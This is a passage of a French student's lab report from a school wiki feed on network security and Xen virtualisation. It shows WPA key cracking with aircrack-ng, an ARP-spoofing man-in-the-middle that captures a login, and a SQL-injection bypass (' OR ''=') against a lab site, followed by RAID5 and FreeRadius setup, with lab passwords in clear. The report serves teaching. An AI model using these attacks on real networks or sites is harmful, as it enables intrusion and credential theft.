    00000003&lt;br /&gt;
    00000004&lt;br /&gt;
  root@zabeth09:~# ./dico | tail&lt;br /&gt;
    99999995&lt;br /&gt;
    99999996&lt;br /&gt;
    99999997&lt;br /&gt;
    99999998&lt;br /&gt;
    99999999&lt;br /&gt;
&lt;br /&gt;
Je finis par les transférer dans un fichier .txt&lt;br /&gt;
  root@zabeth09:~# ./dico &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
Je choisis de lancer le traitement sur 2 pc plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon pc zabeth09. &lt;br /&gt;
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.&lt;br /&gt;
  root@zabeth09:~# split -n 2 dico.txt&lt;br /&gt;
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico&lt;br /&gt;
  root@zabeth09:~# ls -lhrt &lt;br /&gt;
  -rw-r--r-- 1 root root  101 Nov  4 17:09 main.c&lt;br /&gt;
  -rwxr-xr-x 1 root root  17K Nov  4 17:09 dico&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xaa&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xab&lt;br /&gt;
En tapant la commande tail, je vérifie que celui que je veux est bien xab&lt;br /&gt;
&lt;br /&gt;
Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22&lt;br /&gt;
  root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)&lt;br /&gt;
  root@zabeth22:~# cat /tmp/result &lt;br /&gt;
    Aircrack-ng 1.5.2 &lt;br /&gt;
      [00:09:13] 10260165/102795810 keys tested (3427.05 k/s) &lt;br /&gt;
      Time left: 7 hours, 30 minutes, 1 second      9.98%&lt;br /&gt;
                           KEY FOUND! [ 10255555 ]&lt;br /&gt;
&lt;br /&gt;
La clé se trouvait dans les 1er 10 % de dico. &lt;br /&gt;
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.&lt;br /&gt;
Il est logique que celui-ci nous donne aucune clé en réponse.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth26:~# cat /tmp/result &lt;br /&gt;
   [00:46:05] 50000000/51397904 keys tested (3498.19 k/s) &lt;br /&gt;
      Time left: 0 seconds              97.28%&lt;br /&gt;
                          KEY NOT FOUND&lt;br /&gt;
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.&lt;br /&gt;
&lt;br /&gt;
=== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ===&lt;br /&gt;
&lt;br /&gt;
J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :&lt;br /&gt;
&lt;br /&gt;
- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées&lt;br /&gt;
&lt;br /&gt;
- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local&lt;br /&gt;
&lt;br /&gt;
- dsniff : écoute de mots de passe pour différents protocoles&lt;br /&gt;
&lt;br /&gt;
Je vérifie d’abord que dorade est bien configuré au niveau du réseau.&lt;br /&gt;
  root@dorade:/home/pifou# cat /etc/network/interfaces&lt;br /&gt;
    # This is an autoconfigured IPv6 interface&lt;br /&gt;
    iface eth0 inet static&lt;br /&gt;
        address 172.26.145.101&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
        gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires&lt;br /&gt;
  root@dorade:/home/pifou# ip a&lt;br /&gt;
    1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1&lt;br /&gt;
    2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
&lt;br /&gt;
Une commande permet de voir la table de routage.&lt;br /&gt;
  root@dorade:/home/pifou# ip r&lt;br /&gt;
    default via 172.26.145.254 dev eth0 onlink &lt;br /&gt;
    169.254.0.0/16 dev eth0 scope link metric 1000 &lt;br /&gt;
    172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101 &lt;br /&gt;
&lt;br /&gt;
Je vérifie qu’il est bien relié au réseau en pingant zabeth09.&lt;br /&gt;
  root@dorade:/home/pifou# ping zabeth09&lt;br /&gt;
    PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms&lt;br /&gt;
    --- zabeth09 ping statistics ---&lt;br /&gt;
    2 packets transmitted, 2 received, 0% packet loss, time 1001ms&lt;br /&gt;
    rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms&lt;br /&gt;
&lt;br /&gt;
En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.&lt;br /&gt;
&lt;br /&gt;
Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 1 : l'IP Forwarding est activé.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      0 &lt;br /&gt;
Dorade n’est pas en mode routeur, je passe alors le noyau à 1&lt;br /&gt;
  root@dorade:/home/pifou# echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
J'utilise la commande arpsppof, en prenant les informations collectées au début.&lt;br /&gt;
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.&lt;br /&gt;
  root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
&lt;br /&gt;
Lors de cette étape toujours en cours, je lance un second terminal.&lt;br /&gt;
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      1&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter      0&lt;br /&gt;
  root@dorade:/home/pifou# wireshark&lt;br /&gt;
      [[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.&lt;br /&gt;
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
=== Intrusion sur un serveur d’application Web ===&lt;br /&gt;
&lt;br /&gt;
Je veux m'introduire sur un site de Polytech honey.plil.info.&lt;br /&gt;
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.&lt;br /&gt;
  SELECT id FROM users WHERE id='$id' AND pass='$pass';&lt;br /&gt;
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.&lt;br /&gt;
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe&lt;br /&gt;
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Réalisation ==&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de données ===  &lt;br /&gt;
&lt;br /&gt;
Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.&lt;br /&gt;
&lt;br /&gt;
Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.&lt;br /&gt;
&lt;br /&gt;
Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions. &lt;br /&gt;
&lt;br /&gt;
Je commence par créer les 3 partitions LVM de 1Go&lt;br /&gt;
  lvcreate -l1G -n hawker-raid1 storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Je visualise les disques créés via la commande &lt;br /&gt;
  vgdisplay&lt;br /&gt;
Il existe 3 types de volumes différents : storage, virtual et system.&lt;br /&gt;
&lt;br /&gt;
Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :&lt;br /&gt;
  disk= [ ...     &lt;br /&gt;
          'phy:/dev/virtual/hawker-raid1,xvdc1,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid2,xvdc2,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid3,xvdc3,w',&lt;br /&gt;
        ]&lt;br /&gt;
&lt;br /&gt;
Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.&lt;br /&gt;
&lt;br /&gt;
Je met en place le disque niveau 5 (RAID5) avec les 3 partitions&lt;br /&gt;
  mdadm --create /dev/md0 --level=5   --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3&lt;br /&gt;
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.&lt;br /&gt;
  mkfs /dev/md0&lt;br /&gt;
  mount /dev/md0 /mnt&lt;br /&gt;
  cat /proc/mdstat&lt;br /&gt;
&lt;br /&gt;
Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage&lt;br /&gt;
   /dev/md0  /raid5  ext2  defaults  0  2 &lt;br /&gt;
&lt;br /&gt;
Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées. &lt;br /&gt;
&lt;br /&gt;
1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.&lt;br /&gt;
&lt;br /&gt;
2ème essai : Je simule la perte du disque 2&lt;br /&gt;
  cp -a /usr/bin /mnt                               //Copie de données&lt;br /&gt;
  dd if=/dev/zero of=toto bs=1024k count=100        //Copier partie ou tout d'un disque &lt;br /&gt;
&lt;br /&gt;
  mdadm --set-faulty /dev/md0 /dev/xvdc2           //Perte du fichier disque 2 &lt;br /&gt;
  cat /proc/mdstat                                 //On voit qu'on a plus de partitions&lt;br /&gt;
  ls -R /mnt                                       //Vérifier qu'on a gardé les fichiers&lt;br /&gt;
  umount /mnt                                     //Démonter le système de fichier&lt;br /&gt;
&lt;br /&gt;
  mdadm --remove /dev/md0 /dev/xvdc2             //Je replace la partitions 2&lt;br /&gt;
  mdadm --add /dev/md0 /dev/xvdc2&lt;br /&gt;
  cat /proc/mdstat                               //On voit qu'il met quelques temps à le récupérer&lt;br /&gt;
&lt;br /&gt;
Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.&lt;br /&gt;
&lt;br /&gt;
Je considère la sécurisation de mes données de VM atteinte. &lt;br /&gt;
&lt;br /&gt;
=== Sécurisation WiFi par WPA2-EAP ===&lt;br /&gt;
&lt;br /&gt;
==== Configuration serveur FreeRadius ====&lt;br /&gt;
&lt;br /&gt;
L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.&lt;br /&gt;
&lt;br /&gt;
Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.&lt;br /&gt;
  apt update&lt;br /&gt;
  apt install freeradius&lt;br /&gt;
&lt;br /&gt;
Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users&lt;br /&gt;
  pifou Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
  eap{&lt;br /&gt;
     default_eap_type = peap&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0//mods-enabled/mschap&lt;br /&gt;
  //Décommenter et vérifier&lt;br /&gt;
    use_mppe = yes&lt;br /&gt;
    require_encryption = yes&lt;br /&gt;
    require_strong = yes&lt;br /&gt;
  //Ajouter&lt;br /&gt;
    with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:&lt;br /&gt;
  client access-point { /Nom du client&lt;br /&gt;
    ipaddr = 10.60.0.100 //Adress IP de la borne&lt;br /&gt;
    secret = glopglop //Mot secret saisi lors de la configuration&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.&lt;br /&gt;
 service freeradius stop&lt;br /&gt;
  ps auxwww | grep free&lt;br /&gt;
     root     18316  0.0  0.0   3084   888 pts/0    S+   22:49   0:00 grep free&lt;br /&gt;
  kill 10659&lt;br /&gt;
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions&lt;br /&gt;
  freeradius -X&lt;br /&gt;
&lt;br /&gt;
==== Configuration des points d'accès WiFi ====&lt;br /&gt;
&lt;br /&gt;
Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.&lt;br /&gt;
&lt;br /&gt;
J'accède à la configuration de la borne WiFi&lt;br /&gt;
  minicom -os&lt;br /&gt;
  port : /dev/ttyUSB2&lt;br /&gt;
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#&lt;br /&gt;
&lt;br /&gt;
Je passe en mode privilégié et en mode configuration&lt;br /&gt;
  ap#enable      &lt;br /&gt;
  ap#config term   &lt;br /&gt;
&lt;br /&gt;
On met la commande suivante pour :&lt;br /&gt;
&lt;br /&gt;
authentification : vérifier l'identité de l'utilisateur &lt;br /&gt;
&lt;br /&gt;
authorization : pouvoir limiter l'accès à certaines fonctionnalités &lt;br /&gt;
&lt;br /&gt;
accounting : pouvoir enregistrer les actions de l'utilisateur&lt;br /&gt;
&lt;br /&gt;
   ap(config)#aaa new-model                                                                        &lt;br /&gt;
&lt;br /&gt;
Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius&lt;br /&gt;
  ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop    &lt;br /&gt;
&lt;br /&gt;
Définition du groupe de serveur&lt;br /&gt;
  ap(config)#aaa group server radius radius_lulya&lt;br /&gt;
&lt;br /&gt;
Association du groupe de serveur et du serveur de la VM&lt;br /&gt;
  ap(config)#server 193.48.57.171 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier&lt;br /&gt;
  ap(config)#aaa authentication login eap_lulya group radius_lulya&lt;br /&gt;
&lt;br /&gt;
Définition du SSID protégé par la méthode WPA2-EAP&lt;br /&gt;
  ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya                           &lt;br /&gt;
  ap(config-ssid)#vlan 10&lt;br /&gt;
  ap(config-ssid)#authentication open eap eap_lulya     &lt;br /&gt;
  ap(config-ssid)#authentication network-eap eap_lulya                            &lt;br /&gt;
  ap(config-ssid)#authentication key-management wpa    &lt;br /&gt;
&lt;br /&gt;
Configuration du Vlan&lt;br /&gt;
  ap(config)#interface Dot11Radio0                                                &lt;br /&gt;
  ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip                      &lt;br /&gt;
  ap(config-if)#ssid SSID_lulya                                                   &lt;br /&gt;
&lt;br /&gt;
Création de sous interfaces&lt;br /&gt;
  ap(config)#interface dot11Radio0.10                                             &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10          &lt;br /&gt;
&lt;br /&gt;
  ap(config)#interface fast0.10  &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10               &lt;br /&gt;
&lt;br /&gt;
Ajout SSID dans l'interface Dot11Radio0&lt;br /&gt;
  ap(config-subif)#interface Dot11Radio0                                          &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                         &lt;br /&gt;
&lt;br /&gt;
Rendre le SSID visible&lt;br /&gt;
  ap(config-ssid)#interface Dot11Radio0                                           &lt;br /&gt;
  ap(config-if)#mbssid                                                            &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                             &lt;br /&gt;
  ap(config-ssid)#mbssid guest-mode    &lt;br /&gt;
&lt;br /&gt;
Je quitte tout en utilisant &amp;lt;code&amp;gt;exit&amp;lt;/code&amp;gt;, puis faire un &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt; pour prendre en compte toutes les configurations, pour finir je &amp;lt;code&amp;gt;reload&amp;lt;/code&amp;gt; &lt;br /&gt;
  ap(config)#write                                                                        &lt;br /&gt;
    Building configuration...                                                       &lt;br /&gt;
    [OK]&lt;/div&gt;</summary>
		<author><name>Lchenu</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54569</id>
		<title>TP sysres IMA2a5 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54569"/>
				<updated>2020-12-14T15:55:36Z</updated>
		
		<summary type="html">&lt;p&gt;Lchenu : /* Configuration de la VM */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Partie commune ==&lt;br /&gt;
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)&lt;br /&gt;
&lt;br /&gt;
L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle Xen ==&lt;br /&gt;
&lt;br /&gt;
=== Création de la VM ===&lt;br /&gt;
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh&lt;br /&gt;
  ssh root@capbreton.plil.info &lt;br /&gt;
&lt;br /&gt;
Nom de ma machine : hawker&lt;br /&gt;
&lt;br /&gt;
Adresse IP de la machine : 193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Adresse du routeur : 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Le répertoire des disques virtuels : /usr/local/xen&lt;br /&gt;
&lt;br /&gt;
xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.&lt;br /&gt;
  xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf&lt;br /&gt;
&lt;br /&gt;
J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker&lt;br /&gt;
&lt;br /&gt;
	Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/&lt;br /&gt;
&lt;br /&gt;
	La distribution stable courant :  http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
  xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force&lt;br /&gt;
&lt;br /&gt;
En lançant un second terminal, je peux suivre le processus d’installation&lt;br /&gt;
  tail -f /var/log/xen-tools/hawker.log&lt;br /&gt;
&lt;br /&gt;
Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.&lt;br /&gt;
&lt;br /&gt;
     Installation Summary&lt;br /&gt;
     ---------------------&lt;br /&gt;
     Hostname        :  hawker&lt;br /&gt;
     Distribution    :  ascii&lt;br /&gt;
     MAC Address     :  00:16:3E:A4:65:07&lt;br /&gt;
     IP Address(es)  :  dynamic&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (DSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ECDSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ED25519)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (RSA)&lt;br /&gt;
     Root Password   :  xxxxxxxxxxxxxxxxxxxxxxxx&lt;br /&gt;
&lt;br /&gt;
Via la commande passwd, j'ai changé le mot de passe par &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Configuration de la VM ===&lt;br /&gt;
&lt;br /&gt;
Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.&lt;br /&gt;
Je récupère le nom du bridge &amp;quot;IMA2a5&amp;quot;&lt;br /&gt;
  brctl show &lt;br /&gt;
    bridge name        bridge id             STP enabled     interfaces&lt;br /&gt;
    '''IMA2a5             8000.34800d508a83     no              ether1'''&lt;br /&gt;
    IMA5sc             8000.34800d508a82     no              ether0&lt;br /&gt;
    L3MRIT             8000.b026289b2c9a     no              ether2&lt;br /&gt;
    Trunk              8000.4cd98fa49258     no              ether4&lt;br /&gt;
    bridgeGIS          8000.4cd98fa49258     no              vlan502&lt;br /&gt;
&lt;br /&gt;
J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg&lt;br /&gt;
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5. &lt;br /&gt;
&lt;br /&gt;
 kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
 extra       = 'elevator=noop'&lt;br /&gt;
 ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
 &lt;br /&gt;
 vcpus       = '1'&lt;br /&gt;
 memory      = '1024'&lt;br /&gt;
 &lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
               ]&lt;br /&gt;
 &lt;br /&gt;
 name        = 'hawker'&lt;br /&gt;
 &lt;br /&gt;
 '''vif         = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''&lt;br /&gt;
 &lt;br /&gt;
 on_poweroff = 'destroy'&lt;br /&gt;
 on_reboot   = 'restart'&lt;br /&gt;
 on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
J'accède à ma machine virtuelle&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
  xl console hawker&lt;br /&gt;
&lt;br /&gt;
Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte&lt;br /&gt;
  lvcreate -L10G -n hawker-var virtual&lt;br /&gt;
  lvcreate -L10G -n hawker-home virtual&lt;br /&gt;
&lt;br /&gt;
Je pointe le système de fichier sur les deux nouvelles partitions &lt;br /&gt;
  mke2fs /dev/virtual/hawker-home&lt;br /&gt;
  mke2fs /dev/virtual/hawker-var&lt;br /&gt;
&lt;br /&gt;
Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-home,xvdb1,w','''&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-var,xvdb2,w','''&lt;br /&gt;
               ]&lt;br /&gt;
&lt;br /&gt;
Puis je redémarre la VM pour prendre en compte les modifications&lt;br /&gt;
  xl shutdown hawker&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
&lt;br /&gt;
A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.&lt;br /&gt;
  /dev/xvdb1     /home ext4  defaults   0   2&lt;br /&gt;
  #/dev/xvdb2    /var  ext4  defaults   0   2&lt;br /&gt;
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.&lt;br /&gt;
  mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
  mount /dev/xvdb2 /mnt&lt;br /&gt;
  mv /var/* /mnt&lt;br /&gt;
  blkid Trouver ou afficher les attributs de périphérique bloc&lt;br /&gt;
    /dev/xvda2: UUID=&amp;quot;efa11821-8780-4938-9473-5d217752316e&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvda1: UUID=&amp;quot;1a3161b3-a90d-4da5-a224-cfc496e70c89&amp;quot; TYPE=&amp;quot;swap&amp;quot;&lt;br /&gt;
    /dev/xvdb1: UUID=&amp;quot;5645526d-2cf4-42b5-a4a7-94fdda100ca1&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvdb2: UUID=&amp;quot;5b49ce5f-8116-4c41-aa25-97536f644803&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
  vi /etc/fstab&lt;br /&gt;
Par la suite, je peux décommenter la ligne et exécuter :&lt;br /&gt;
  umount /mnt    &lt;br /&gt;
  mount -a&lt;br /&gt;
Je vérifie que les disques sont bien montés via la commande db &lt;br /&gt;
  Filesystem     1K-blocks     Used   Available   Use%   Mounted on&lt;br /&gt;
  udev              483904        0      483904     0%   /dev&lt;br /&gt;
  tmpfs             100712      120      100592     1%   /run&lt;br /&gt;
  /dev/xvda2       4062912   791352     3045464    21%   /&lt;br /&gt;
  tmpfs               5120        0        5120     0%   /run/lock&lt;br /&gt;
  tmpfs             306280        0      306280     0%   /dev/shm&lt;br /&gt;
  '''/dev/xvdb1      10255636    36872     9678092     1%   /home'''&lt;br /&gt;
  '''/dev/xvdb2      10255636   315536     9399428     4%   /var'''&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que la VM est prête&lt;br /&gt;
  xl list&lt;br /&gt;
    Name          ID    Mem   VCPUs    State	Time(s)&lt;br /&gt;
    Domain-0      0    4046     4      r-----    6978.3&lt;br /&gt;
    boeing        1     256     1      -b----     185.5&lt;br /&gt;
    NightHawk     3    1024     1      -b----     826.8&lt;br /&gt;
    '''hawker        4    1024     1      -b----     776.9'''&lt;br /&gt;
    blackbird     5     256     1      -b----     640.4&lt;br /&gt;
    Falcon        6     256     1      -b----     691.7&lt;br /&gt;
    rafale        8     256     1      -b----     606.0&lt;br /&gt;
    mirage        12   1024     1      -b----     668.6&lt;br /&gt;
    alpha-jet     13    256     1      -b----     591.4&lt;br /&gt;
    concorde      19   1024     1      -b----     148.5&lt;br /&gt;
    oronge        20    256     1      -b----     536.2&lt;br /&gt;
